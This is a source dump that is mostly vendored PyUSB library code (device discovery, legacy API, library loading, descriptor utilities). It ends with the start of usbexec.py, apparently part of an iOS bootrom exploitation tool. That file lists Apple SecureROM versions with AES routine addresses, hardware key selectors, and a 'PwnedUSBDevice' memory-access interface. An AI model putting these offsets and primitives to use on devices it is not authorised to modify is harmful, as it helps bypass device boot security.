(self.bcdDevice & 0xf0) >> 4, low_bcd_device) + \
" %-23s:%#7x %s\n" % (
"iManufacturer", self.iManufacturer,
_try_get_string(self, self.iManufacturer)) + \
" %-23s:%#7x %s\n" % (
"iProduct", self.iProduct,
_try_get_string(self, self.iProduct)) + \
" %-23s:%#7x %s\n" % (
"iSerialNumber", self.iSerialNumber,
_try_get_string(self, self.iSerialNumber)) + \
" %-23s:%#7x" % (
"bNumConfigurations", self.bNumConfigurations)
default_timeout = property(
__get_def_tmo,
__set_def_tmo,
doc = 'Default timeout for transfer I/O functions'
)
def find(find_all=False, backend = None, custom_match = None, **args):
r"""Find an USB device and return it.
find() is the function used to discover USB devices. You can pass as
arguments any combination of the USB Device Descriptor fields to match a
device. For example:
find(idVendor=0x3f4, idProduct=0x2009)
will return the Device object for the device with idVendor field equals
to 0x3f4 and idProduct equals to 0x2009.
If there is more than one device which matchs the criteria, the first one
found will be returned. If a matching device cannot be found the function
returns None. If you want to get all devices, you can set the parameter
find_all to True, then find will return an iterator with all matched devices.
If no matching device is found, it will return an empty iterator. Example:
for printer in find(find_all=True, bDeviceClass=7):
print (printer)
This call will get all the USB printers connected to the system. (actually
may be not, because some devices put their class information in the
Interface Descriptor).
You can also use a customized match criteria:
dev = find(custom_match = lambda d: d.idProduct=0x3f4 and d.idvendor=0x2009)
A more accurate printer finder using a customized match would be like
so:
def is_printer(dev):
import usb.util
if dev.bDeviceClass == 7:
return True
for cfg in dev:
if usb.util.find_descriptor(cfg, bInterfaceClass=7) is not None:
return True
for printer in find(find_all=True, custom_match = is_printer):
print (printer)
Now even if the device class code is in the interface descriptor the
printer will be found.
You can combine a customized match with device descriptor fields. In this
case, the fields must match and the custom_match must return True. In the
our previous example, if we would like to get all printers belonging to the
manufacturer 0x3f4, the code would be like so:
printers = list(find(find_all=True, idVendor=0x3f4, custom_match=is_printer))
If you want to use find as a 'list all devices' function, just call
it with find_all = True:
devices = list(find(find_all=True))
Finally, you can pass a custom backend to the find function:
find(backend = MyBackend())
PyUSB has builtin backends for libusb 0.1, libusb 1.0 and OpenUSB. If you
do not supply a backend explicitly, find() function will select one of the
predefineds backends according to system availability.
Backends are explained in the usb.backend module.
"""
def device_iter(**kwargs):
for dev in backend.enumerate_devices():
d = Device(dev, backend)
tests = (val == getattr(d, key) for key, val in kwargs.items())
if _interop._all(tests) and (custom_match is None or custom_match(d)):
yield d
if backend is None:
import usb.backend.libusb1 as libusb1
import usb.backend.libusb0 as libusb0
import usb.backend.openusb as openusb
for m in (libusb1, openusb, libusb0):
backend = m.get_backend()
if backend is not None:
_logger.info('find(): using backend "%s"', m.__name__)
break
else:
raise NoBackendError('No backend available')
if find_all:
return device_iter(**args)
else:
try:
return _interop._next(device_iter(**args))
except StopIteration:
return None
def show_devices(verbose=False, **kwargs):
"""Show information about connected devices.
The verbose flag sets to verbose or not.
**kwargs are passed directly to the find() function.
"""
kwargs["find_all"] = True
devices = find(**kwargs)
strings = ""
for device in devices:
if not verbose:
strings += "%s, %s\n" % (device._str(), _try_lookup(
_lu.device_classes, device.bDeviceClass))
else:
strings += "%s\n\n" % str(device)
return _DescriptorInfo(strings)
================================================
FILE: usb/legacy.py
================================================
# Copyright (C) 2009-2014 Wander Lairson Costa
#
# The following terms apply to all files associated
# with the software unless explicitly disclaimed in individual files.
#
# The authors hereby grant permission to use, copy, modify, distribute,
# and license this software and its documentation for any purpose, provided
# that existing copyright notices are retained in all copies and that this
# notice is included verbatim in any distributions. No written agreement,
# license, or royalty fee is required for any of the authorized uses.
# Modifications to this software may be copyrighted by their authors
# and need not follow the licensing terms described here, provided that
# the new terms are clearly indicated on the first page of each file where
# they apply.
#
# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY
# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY
# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE
# IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE
# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
# MODIFICATIONS.
import usb.core as core
import usb.util as util
import usb._objfinalizer as _objfinalizer
import usb.control as control
from itertools import groupby
__author__ = 'Wander Lairson Costa'
USBError = core.USBError
CLASS_AUDIO = 1
CLASS_COMM = 2
CLASS_DATA = 10
CLASS_HID = 3
CLASS_HUB = 9
CLASS_MASS_STORAGE = 8
CLASS_PER_INTERFACE = 0
CLASS_PRINTER = 7
CLASS_VENDOR_SPEC = 255
DT_CONFIG = 2
DT_CONFIG_SIZE = 9
DT_DEVICE = 1
DT_DEVICE_SIZE = 18
DT_ENDPOINT = 5
DT_ENDPOINT_AUDIO_SIZE = 9
DT_ENDPOINT_SIZE = 7
DT_HID = 33
DT_HUB = 41
DT_HUB_NONVAR_SIZE = 7
DT_INTERFACE = 4
DT_INTERFACE_SIZE = 9
DT_PHYSICAL = 35
DT_REPORT = 34
DT_STRING = 3
ENDPOINT_ADDRESS_MASK = 15
ENDPOINT_DIR_MASK = 128
ENDPOINT_IN = 128
ENDPOINT_OUT = 0
ENDPOINT_TYPE_BULK = 2
ENDPOINT_TYPE_CONTROL = 0
ENDPOINT_TYPE_INTERRUPT = 3
ENDPOINT_TYPE_ISOCHRONOUS = 1
ENDPOINT_TYPE_MASK = 3
ERROR_BEGIN = 500000
MAXALTSETTING = 128
MAXCONFIG = 8
MAXENDPOINTS = 32
MAXINTERFACES = 32
RECIP_DEVICE = 0
RECIP_ENDPOINT = 2
RECIP_INTERFACE = 1
RECIP_OTHER = 3
REQ_CLEAR_FEATURE = 1
REQ_GET_CONFIGURATION = 8
REQ_GET_DESCRIPTOR = 6
REQ_GET_INTERFACE = 10
REQ_GET_STATUS = 0
REQ_SET_ADDRESS = 5
REQ_SET_CONFIGURATION = 9
REQ_SET_DESCRIPTOR = 7
REQ_SET_FEATURE = 3
REQ_SET_INTERFACE = 11
REQ_SYNCH_FRAME = 12
TYPE_CLASS = 32
TYPE_RESERVED = 96
TYPE_STANDARD = 0
TYPE_VENDOR = 64
class Endpoint(object):
r"""Endpoint descriptor object."""
def __init__(self, ep):
self.address = ep.bEndpointAddress
self.interval = ep.bInterval
self.maxPacketSize = ep.wMaxPacketSize
self.type = util.endpoint_type(ep.bmAttributes)
class Interface(object):
r"""Interface descriptor object."""
def __init__(self, intf):
self.alternateSetting = intf.bAlternateSetting
self.interfaceNumber = intf.bInterfaceNumber
self.iInterface = intf.iInterface
self.interfaceClass = intf.bInterfaceClass
self.interfaceSubClass = intf.bInterfaceSubClass
self.interfaceProtocol = intf.bInterfaceProtocol
self.endpoints = [Endpoint(e) for e in intf]
class Configuration(object):
r"""Configuration descriptor object."""
def __init__(self, cfg):
self.iConfiguration = cfg.iConfiguration
self.maxPower = cfg.bMaxPower << 1
self.remoteWakeup = (cfg.bmAttributes >> 5) & 1
self.selfPowered = (cfg.bmAttributes >> 6) & 1
self.totalLength = cfg.wTotalLength
self.value = cfg.bConfigurationValue
self.interfaces = [
list(g) for k, g in groupby(
sorted(
[Interface(i) for i in cfg],
key=lambda i: i.interfaceNumber
),
lambda i: i.alternateSetting)
]
class DeviceHandle(_objfinalizer.AutoFinalizedObject):
def __init__(self, dev):
self.dev = dev
self.__claimed_interface = None
def _finalize_object(self):
util.dispose_resources(self.dev)
self.dev = None
def bulkWrite(self, endpoint, buffer, timeout = 100):
r"""Perform a bulk write request to the endpoint specified.
Arguments:
endpoint: endpoint number.
buffer: sequence data buffer to write.
This parameter can be any sequence type.
timeout: operation timeout in milliseconds. (default: 100)
Returns the number of bytes written.
"""
return self.dev.write(endpoint, buffer, timeout)
def bulkRead(self, endpoint, size, timeout = 100):
r"""Performs a bulk read request to the endpoint specified.
Arguments:
endpoint: endpoint number.
size: number of bytes to read.
timeout: operation timeout in milliseconds. (default: 100)
Returns a tuple with the data read.
"""
return self.dev.read(endpoint, size, timeout)
def interruptWrite(self, endpoint, buffer, timeout = 100):
r"""Perform a interrupt write request to the endpoint specified.
Arguments:
endpoint: endpoint number.
buffer: sequence data buffer to write.
This parameter can be any sequence type.
timeout: operation timeout in milliseconds. (default: 100)
Returns the number of bytes written.
"""
return self.dev.write(endpoint, buffer, timeout)
def interruptRead(self, endpoint, size, timeout = 100):
r"""Performs a interrupt read request to the endpoint specified.
Arguments:
endpoint: endpoint number.
size: number of bytes to read.
timeout: operation timeout in milliseconds. (default: 100)
Returns a tuple with the data read.
"""
return self.dev.read(endpoint, size, timeout)
def controlMsg(self, requestType, request, buffer, value = 0, index = 0, timeout = 100):
r"""Perform a control request to the default control pipe on a device.
Arguments:
requestType: specifies the direction of data flow, the type
of request, and the recipient.
request: specifies the request.
buffer: if the transfer is a write transfer, buffer is a sequence
with the transfer data, otherwise, buffer is the number of
bytes to read.
value: specific information to pass to the device. (default: 0)
index: specific information to pass to the device. (default: 0)
timeout: operation timeout in milliseconds. (default: 100)
Returns the number of bytes written.
"""
return self.dev.ctrl_transfer(
requestType,
request,
wValue = value,
wIndex = index,
data_or_wLength = buffer,
timeout = timeout)
def clearHalt(self, endpoint):
r"""Clears any halt status on the specified endpoint.
Arguments:
endpoint: endpoint number.
"""
self.dev.clear_halt(endpoint)
def claimInterface(self, interface):
r"""Claims the interface with the Operating System.
Arguments:
interface: interface number or an Interface object.
"""
if isinstance(interface, Interface):
interface = interface.interfaceNumber
util.claim_interface(self.dev, interface)
self.__claimed_interface = interface
def releaseInterface(self):
r"""Release an interface previously claimed with claimInterface."""
util.release_interface(self.dev, self.__claimed_interface)
self.__claimed_interface = -1
def reset(self):
r"""Reset the specified device by sending a RESET
down the port it is connected to."""
self.dev.reset()
def resetEndpoint(self, endpoint):
r"""Reset all states for the specified endpoint.
Arguments:
endpoint: endpoint number.
"""
self.clearHalt(endpoint)
def setConfiguration(self, configuration):
r"""Set the active configuration of a device.
Arguments:
configuration: a configuration value or a Configuration object.
"""
if isinstance(configuration, Configuration):
configuration = configuration.value
self.dev.set_configuration(configuration)
def setAltInterface(self, alternate):
r"""Sets the active alternate setting of the current interface.
Arguments:
alternate: an alternate setting number or an Interface object.
"""
if isinstance(alternate, Interface):
alternate = alternate.alternateSetting
self.dev.set_interface_altsetting(self.__claimed_interface, alternate)
def getString(self, index, length, langid = None):
r"""Retrieve the string descriptor specified by index
and langid from a device.
Arguments:
index: index of descriptor in the device.
length: number of bytes of the string (ignored)
langid: Language ID. If it is omitted, the first
language will be used.
"""
return util.get_string(self.dev, index, langid).encode('ascii')
def getDescriptor(self, desc_type, desc_index, length, endpoint = -1):
r"""Retrieves a descriptor from the device identified by the type
and index of the descriptor.
Arguments:
desc_type: descriptor type.
desc_index: index of the descriptor.
len: descriptor length.
endpoint: ignored.
"""
return control.get_descriptor(self.dev, length, desc_type, desc_index)
def detachKernelDriver(self, interface):
r"""Detach a kernel driver from the interface (if one is attached,
we have permission and the operation is supported by the OS)
Arguments:
interface: interface number or an Interface object.
"""
if isinstance(interface, Interface):
interface = interface.interfaceNumber
self.dev.detach_kernel_driver(interface)
class Device(object):
r"""Device descriptor object"""
def __init__(self, dev):
self.deviceClass = dev.bDeviceClass
self.deviceSubClass = dev.bDeviceSubClass
self.deviceProtocol = dev.bDeviceProtocol
self.deviceVersion = str((dev.bcdDevice >> 12) & 0xf) + \
str((dev.bcdDevice >> 8) & 0xf) + \
'.' + \
str((dev.bcdDevice >> 4) & 0xf) + \
str(dev.bcdDevice & 0xf)
self.devnum = dev.address
self.filename = ''
self.iManufacturer = dev.iManufacturer
self.iProduct = dev.iProduct
self.iSerialNumber = dev.iSerialNumber
self.idProduct = dev.idProduct
self.idVendor = dev.idVendor
self.maxPacketSize = dev.bMaxPacketSize0
self.usbVersion = str((dev.bcdUSB >> 12) & 0xf) + \
str((dev.bcdUSB >> 8) & 0xf) + \
'.' + \
str((dev.bcdUSB >> 4) & 0xf) + \
str(dev.bcdUSB & 0xf)
self.configurations = [Configuration(c) for c in dev]
self.dev = dev
def open(self):
r"""Open the device for use.
Returns a DeviceHandle object
"""
return DeviceHandle(self.dev)
class Bus(object):
r"""Bus object."""
def __init__(self, devices):
self.dirname = ''
self.devices = [Device(d) for d in devices]
self.location = self.devices[0].dev.bus
def busses():
r"""Returns a tuple with the usb busses."""
return (Bus(g) for k, g in groupby(
sorted(core.find(find_all=True), key=lambda d: d.bus),
lambda d: d.bus))
================================================
FILE: usb/libloader.py
================================================
# -*- coding: utf-8 -*-
#
# Copyright (C) 2013-2014 André Erdmann
#
# The following terms apply to all files associated
# with the software unless explicitly disclaimed in individual files.
#
# The authors hereby grant permission to use, copy, modify, distribute,
# and license this software and its documentation for any purpose, provided
# that existing copyright notices are retained in all copies and that this
# notice is included verbatim in any distributions. No written agreement,
# license, or royalty fee is required for any of the authorized uses.
# Modifications to this software may be copyrighted by their authors
# and need not follow the licensing terms described here, provided that
# the new terms are clearly indicated on the first page of each file where
# they apply.
#
# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY
# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY
# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE
# IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE
# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
# MODIFICATIONS.
import ctypes
import ctypes.util
import logging
import sys
__all__ = [
'LibraryException',
'LibraryNotFoundException',
'NoLibraryCandidatesException',
'LibraryNotLoadedException',
'LibraryMissingSymbolsException',
'locate_library',
'load_library',
'load_locate_library'
]
_LOGGER = logging.getLogger('usb.libloader')
class LibraryException(OSError):
pass
class LibraryNotFoundException(LibraryException):
pass
class NoLibraryCandidatesException(LibraryNotFoundException):
pass
class LibraryNotLoadedException(LibraryException):
pass
class LibraryMissingSymbolsException(LibraryException):
pass
def locate_library (candidates, find_library=ctypes.util.find_library):
"""Tries to locate a library listed in candidates using the given
find_library() function (or ctypes.util.find_library).
Returns the first library found, which can be the library's name
or the path to the library file, depending on find_library().
Returns None if no library is found.
arguments:
* candidates -- iterable with library names
* find_library -- function that takes one positional arg (candidate)
and returns a non-empty str if a library has been found.
Any "false" value (None,False,empty str) is interpreted
as "library not found".
Defaults to ctypes.util.find_library if not given or
None.
"""
if find_library is None:
find_library = ctypes.util.find_library
use_dll_workaround = (
sys.platform == 'win32' and find_library is ctypes.util.find_library
)
for candidate in candidates:
# Workaround for CPython 3.3 issue#16283 / pyusb #14
if use_dll_workaround:
candidate += '.dll'
libname = find_library(candidate)
if libname:
return libname
# -- end for
return None
def load_library(lib, name=None, lib_cls=None):
"""Loads a library. Catches and logs exceptions.
Returns: the loaded library or None
arguments:
* lib -- path to/name of the library to be loaded
* name -- the library's identifier (for logging)
Defaults to None.
* lib_cls -- library class. Defaults to None (-> ctypes.CDLL).
"""
try:
if lib_cls:
return lib_cls(lib)
else:
return ctypes.CDLL(lib)
except Exception:
if name:
lib_msg = '%s (%s)' % (name, lib)
else:
lib_msg = lib
lib_msg += ' could not be loaded'
if sys.platform == 'cygwin':
lib_msg += ' in cygwin'
_LOGGER.error(lib_msg, exc_info=True)
return None
def load_locate_library(candidates, cygwin_lib, name,
win_cls=None, cygwin_cls=None, others_cls=None,
find_library=None, check_symbols=None):
"""Locates and loads a library.
Returns: the loaded library
arguments:
* candidates -- candidates list for locate_library()
* cygwin_lib -- name of the cygwin library
* name -- lib identifier (for logging). Defaults to None.
* win_cls -- class that is used to instantiate the library on
win32 platforms. Defaults to None (-> ctypes.CDLL).
* cygwin_cls -- library class for cygwin platforms.
Defaults to None (-> ctypes.CDLL).
* others_cls -- library class for all other platforms.
Defaults to None (-> ctypes.CDLL).
* find_library -- see locate_library(). Defaults to None.
* check_symbols -- either None or a list of symbols that the loaded lib
must provide (hasattr(<>)) in order to be considered
valid. LibraryMissingSymbolsException is raised if
any symbol is missing.
raises:
* NoLibraryCandidatesException
* LibraryNotFoundException
* LibraryNotLoadedException
* LibraryMissingSymbolsException
"""
if sys.platform == 'cygwin':
if cygwin_lib:
loaded_lib = load_library(cygwin_lib, name, cygwin_cls)
else:
raise NoLibraryCandidatesException(name)
elif candidates:
lib = locate_library(candidates, find_library)
if lib:
if sys.platform == 'win32':
loaded_lib = load_library(lib, name, win_cls)
else:
loaded_lib = load_library(lib, name, others_cls)
else:
_LOGGER.error('%r could not be found', (name or candidates))
raise LibraryNotFoundException(name)
else:
raise NoLibraryCandidatesException(name)
if loaded_lib is None:
raise LibraryNotLoadedException(name)
elif check_symbols:
symbols_missing = [
s for s in check_symbols if not hasattr(loaded_lib, s)
]
if symbols_missing:
msg = ('%r, missing symbols: %r', lib, symbols_missing )
_LOGGER.error(msg)
raise LibraryMissingSymbolsException(lib)
else:
return loaded_lib
else:
return loaded_lib
================================================
FILE: usb/util.py
================================================
# Copyright (C) 2009-2014 Wander Lairson Costa
#
# The following terms apply to all files associated
# with the software unless explicitly disclaimed in individual files.
#
# The authors hereby grant permission to use, copy, modify, distribute,
# and license this software and its documentation for any purpose, provided
# that existing copyright notices are retained in all copies and that this
# notice is included verbatim in any distributions. No written agreement,
# license, or royalty fee is required for any of the authorized uses.
# Modifications to this software may be copyrighted by their authors
# and need not follow the licensing terms described here, provided that
# the new terms are clearly indicated on the first page of each file where
# they apply.
#
# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY
# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY
# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE
# IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE
# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
# MODIFICATIONS.
r"""usb.util - Utility functions.
This module exports:
endpoint_address - return the endpoint absolute address.
endpoint_direction - return the endpoint transfer direction.
endpoint_type - return the endpoint type
ctrl_direction - return the direction of a control transfer
build_request_type - build a bmRequestType field of a control transfer.
find_descriptor - find an inner descriptor.
claim_interface - explicitly claim an interface.
release_interface - explicitly release an interface.
dispose_resources - release internal resources allocated by the object.
get_langids - retrieve the list of supported string languages from the device.
get_string - retrieve a string descriptor from the device.
"""
__author__ = 'Wander Lairson Costa'
import operator
import array
from sys import hexversion
import usb._interop as _interop
# descriptor type
DESC_TYPE_DEVICE = 0x01
DESC_TYPE_CONFIG = 0x02
DESC_TYPE_STRING = 0x03
DESC_TYPE_INTERFACE = 0x04
DESC_TYPE_ENDPOINT = 0x05
# endpoint direction
ENDPOINT_IN = 0x80
ENDPOINT_OUT = 0x00
# endpoint type
ENDPOINT_TYPE_CTRL = 0x00
ENDPOINT_TYPE_ISO = 0x01
ENDPOINT_TYPE_BULK = 0x02
ENDPOINT_TYPE_INTR = 0x03
# control request type
CTRL_TYPE_STANDARD = (0 << 5)
CTRL_TYPE_CLASS = (1 << 5)
CTRL_TYPE_VENDOR = (2 << 5)
CTRL_TYPE_RESERVED = (3 << 5)
# control request recipient
CTRL_RECIPIENT_DEVICE = 0
CTRL_RECIPIENT_INTERFACE = 1
CTRL_RECIPIENT_ENDPOINT = 2
CTRL_RECIPIENT_OTHER = 3
# control request direction
CTRL_OUT = 0x00
CTRL_IN = 0x80
_ENDPOINT_ADDR_MASK = 0x0f
_ENDPOINT_DIR_MASK = 0x80
_ENDPOINT_TRANSFER_TYPE_MASK = 0x03
_CTRL_DIR_MASK = 0x80
# For compatibility between Python 2 and 3
_dummy_s = '\x00'.encode('utf-8')
# speed type
SPEED_LOW = 1
SPEED_FULL = 2
SPEED_HIGH = 3
SPEED_SUPER = 4
SPEED_UNKNOWN = 0
def endpoint_address(address):
r"""Return the endpoint absolute address.
The address parameter is the bEndpointAddress field
of the endpoint descriptor.
"""
return address & _ENDPOINT_ADDR_MASK
def endpoint_direction(address):
r"""Return the endpoint direction.
The address parameter is the bEndpointAddress field
of the endpoint descriptor.
The possible return values are ENDPOINT_OUT or ENDPOINT_IN.
"""
return address & _ENDPOINT_DIR_MASK
def endpoint_type(bmAttributes):
r"""Return the transfer type of the endpoint.
The bmAttributes parameter is the bmAttributes field
of the endpoint descriptor.
The possible return values are: ENDPOINT_TYPE_CTRL,
ENDPOINT_TYPE_ISO, ENDPOINT_TYPE_BULK or ENDPOINT_TYPE_INTR.
"""
return bmAttributes & _ENDPOINT_TRANSFER_TYPE_MASK
def ctrl_direction(bmRequestType):
r"""Return the direction of a control request.
The bmRequestType parameter is the value of the
bmRequestType field of a control transfer.
The possible return values are CTRL_OUT or CTRL_IN.
"""
return bmRequestType & _CTRL_DIR_MASK
def build_request_type(direction, type, recipient):
r"""Build a bmRequestType field for control requests.
These is a conventional function to build a bmRequestType
for a control request.
The direction parameter can be CTRL_OUT or CTRL_IN.
The type parameter can be CTRL_TYPE_STANDARD, CTRL_TYPE_CLASS,
CTRL_TYPE_VENDOR or CTRL_TYPE_RESERVED values.
The recipient can be CTRL_RECIPIENT_DEVICE, CTRL_RECIPIENT_INTERFACE,
CTRL_RECIPIENT_ENDPOINT or CTRL_RECIPIENT_OTHER.
Return the bmRequestType value.
"""
return recipient | type | direction
def create_buffer(length):
r"""Create a buffer to be passed to a read function.
A read function may receive an out buffer so the data
is read inplace and the object can be reused, avoiding
the overhead of creating a new object at each new read
call. This function creates a compatible sequence buffer
of the given length.
"""
return array.array('B', _dummy_s * length)
def find_descriptor(desc, find_all=False, custom_match=None, **args):
r"""Find an inner descriptor.
find_descriptor works in the same way as the core.find() function does,
but it acts on general descriptor objects. For example, suppose you
have a Device object called dev and want a Configuration of this
object with its bConfigurationValue equals to 1, the code would
be like so:
>>> cfg = util.find_descriptor(dev, bConfigurationValue=1)
You can use any field of the Descriptor as a match criteria, and you
can supply a customized match just like core.find() does. The
find_descriptor function also accepts the find_all parameter to get
an iterator instead of just one descriptor.
"""
def desc_iter(**kwargs):
for d in desc:
tests = (val == getattr(d, key) for key, val in kwargs.items())
if _interop._all(tests) and (custom_match is None or custom_match(d)):
yield d
if find_all:
return desc_iter(**args)
else:
try:
return _interop._next(desc_iter(**args))
except StopIteration:
return None
def claim_interface(device, interface):
r"""Explicitly claim an interface.
PyUSB users normally do not have to worry about interface claiming,
as the library takes care of it automatically. But there are situations
where you need deterministic interface claiming. For these uncommon
cases, you can use claim_interface.
If the interface is already claimed, either through a previously call
to claim_interface or internally by the device object, nothing happens.
"""
device._ctx.managed_claim_interface(device, interface)
def release_interface(device, interface):
r"""Explicitly release an interface.
This function is used to release an interface previously claimed,
either through a call to claim_interface or internally by the
device object.
Normally, you do not need to worry about claiming policies, as
the device object takes care of it automatically.
"""
device._ctx.managed_release_interface(device, interface)
def dispose_resources(device):
r"""Release internal resources allocated by the object.
Sometimes you need to provide deterministic resources
freeing, for example to allow another application to
talk to the device. As Python does not provide deterministic
destruction, this function releases all internal resources
allocated by the device, like device handle and interface
policy.
After calling this function, you can continue using the device
object normally. If the resources will be necessary again, it
will be allocated automatically.
"""
device._ctx.dispose(device)
def get_langids(dev):
r"""Retrieve the list of supported Language IDs from the device.
Most client code should not call this function directly, but instead use
the langids property on the Device object, which will call this function as
needed and cache the result.
USB LANGIDs are 16-bit integers familiar to Windows developers, where
for example instead of en-US you say 0x0409. See the file USB_LANGIDS.pdf
somewhere on the usb.org site for a list, which does not claim to be
complete. It requires "system software must allow the enumeration and
selection of LANGIDs that are not currently on this list." It also requires
"system software should never request a LANGID not defined in the LANGID
code array (string index = 0) presented by a device." Client code can
check this tuple before issuing string requests for a specific language ID.
dev is the Device object whose supported language IDs will be retrieved.
The return value is a tuple of integer LANGIDs, possibly empty if the
device does not support strings at all (which USB 3.1 r1.0 section
9.6.9 allows). In that case client code should not request strings at all.
A USBError may be raised from this function for some devices that have no
string support, instead of returning an empty tuple. The accessor for the
langids property on Device catches that case and supplies an empty tuple,
so client code can ignore this detail by using the langids property instead
of directly calling this function.
"""
from usb.control import get_descriptor
buf = get_descriptor(
dev,
254,
DESC_TYPE_STRING,
0
)
# The array is retrieved by asking for string descriptor zero, which is
# never the index of a real string. The returned descriptor has bLength
# and bDescriptorType bytes followed by pairs of bytes representing
# little-endian LANGIDs. That is, buf[0] contains the length of the
# returned array, buf[2] is the least-significant byte of the first LANGID
# (if any), buf[3] is the most-significant byte, and in general the LSBs of
# all the LANGIDs are given by buf[2:buf[0]:2] and MSBs by buf[3:buf[0]:2].
# If the length of buf came back odd, something is wrong.
if len(buf) < 4 or buf[0] < 4 or buf[0]&1 != 0:
return ()
return tuple(map(lambda x,y: x+(y<<8), buf[2:buf[0]:2], buf[3:buf[0]:2]))
def get_string(dev, index, langid = None):
r"""Retrieve a string descriptor from the device.
dev is the Device object which the string will be read from.
index is the string descriptor index and langid is the Language
ID of the descriptor. If langid is omitted, the string descriptor
of the first Language ID will be returned.
Zero is never the index of a real string. The USB spec allows a device to
use zero in a string index field to indicate that no string is provided.
So the caller does not have to treat that case specially, this function
returns None if passed an index of zero, and generates no traffic
to the device.
The return value is the unicode string present in the descriptor, or None
if the requested index was zero.
It is a ValueError to request a real string (index not zero), if: the
device's langid tuple is empty, or with an explicit langid the device does
not support.
"""
if 0 == index:
return None
from usb.control import get_descriptor
langids = dev.langids
if 0 == len(langids):
raise ValueError("The device has no langid")
if langid is None:
langid = langids[0]
elif langid not in langids:
raise ValueError("The device does not support the specified langid")
buf = get_descriptor(
dev,
255, # Maximum descriptor size
DESC_TYPE_STRING,
index,
langid
)
if hexversion >= 0x03020000:
return buf[2:buf[0]].tobytes().decode('utf-16-le')
else:
return buf[2:buf[0]].tostring().decode('utf-16-le')
================================================
FILE: usbexec.py
================================================
import struct, sys
import dfu, device_platform
class ExecConfig:
def __init__(self, info, aes_crypto_cmd):
self.info = info
self.aes_crypto_cmd = aes_crypto_cmd
def match(self, info):
return info == self.info[0].ljust(0x40, '\0') + self.info[1].ljust(0x40, '\0') + self.info[2].ljust(0x80, '\0')
configs = [
ExecConfig(('SecureROM for s5l8947xsi, Copyright 2011, Apple Inc.', 'RELEASE', 'iBoot-1458.2'), aes_crypto_cmd=0x7060+1),
ExecConfig(('SecureROM for s5l8950xsi, Copyright 2011, Apple Inc.', 'RELEASE', 'iBoot-1145.3'), aes_crypto_cmd=0x7300+1),
ExecConfig(('SecureROM for s5l8955xsi, Copyright 2011, Apple Inc.', 'RELEASE', 'iBoot-1145.3.3'), aes_crypto_cmd=0x7340+1),
ExecConfig(('SecureROM for t8002si, Copyright 2007-2014, Apple Inc.', 'ROMRELEASE', 'iBoot-2651.0.0.1.31'), aes_crypto_cmd=0x86DC+1),
ExecConfig(('SecureROM for t8004si, Copyright 2007-2014, Apple Inc.', 'ROMRELEASE', 'iBoot-2651.0.0.3.3'), aes_crypto_cmd=0x786C+1),
ExecConfig(('SecureROM for s5l8960xsi, Copyright 2012, Apple Inc.', 'RELEASE', 'iBoot-1704.10'), aes_crypto_cmd=0x10000B9A8),
ExecConfig(('SecureROM for t8010si, Copyright 2007-2015, Apple Inc.', 'ROMRELEASE', 'iBoot-2696.0.0.1.33'), aes_crypto_cmd=0x10000C8F4),
ExecConfig(('SecureROM for t8011si, Copyright 2007-2015, Apple Inc.', 'ROMRELEASE', 'iBoot-3135.0.0.2.3'), aes_crypto_cmd=0x10000C994),
ExecConfig(('SecureROM for t8015si, Copyright 2007-2016, Apple Inc.', 'ROMRELEASE', 'iBoot-3332.0.0.1.23'), aes_crypto_cmd=0x100009E9C),
]
EXEC_MAGIC = 'execexec'[::-1]
DONE_MAGIC = 'donedone'[::-1]
MEMC_MAGIC = 'memcmemc'[::-1]
MEMS_MAGIC = 'memsmems'[::-1]
USB_READ_LIMIT = 0x8000
CMD_TIMEOUT = 5000
AES_BLOCK_SIZE = 16
AES_ENCRYPT = 16
AES_DECRYPT = 17
AES_GID_KEY = 0x20000200
AES_UID_KEY = 0x20000201
class PwnedUSBDevice():
def memset(self, address, c, length): self.command(self.cmd_memset(address, c, length), 0)
def memcpy(self, dest, src, length): self.command(self.cmd_memcpy(dest, src, length), 0)
def read_memory_ptr(self, address): return struct.unpack('<%s' % self.cmd_arg_type(), self.read_memory(address, self.cmd_arg_size()))[0]
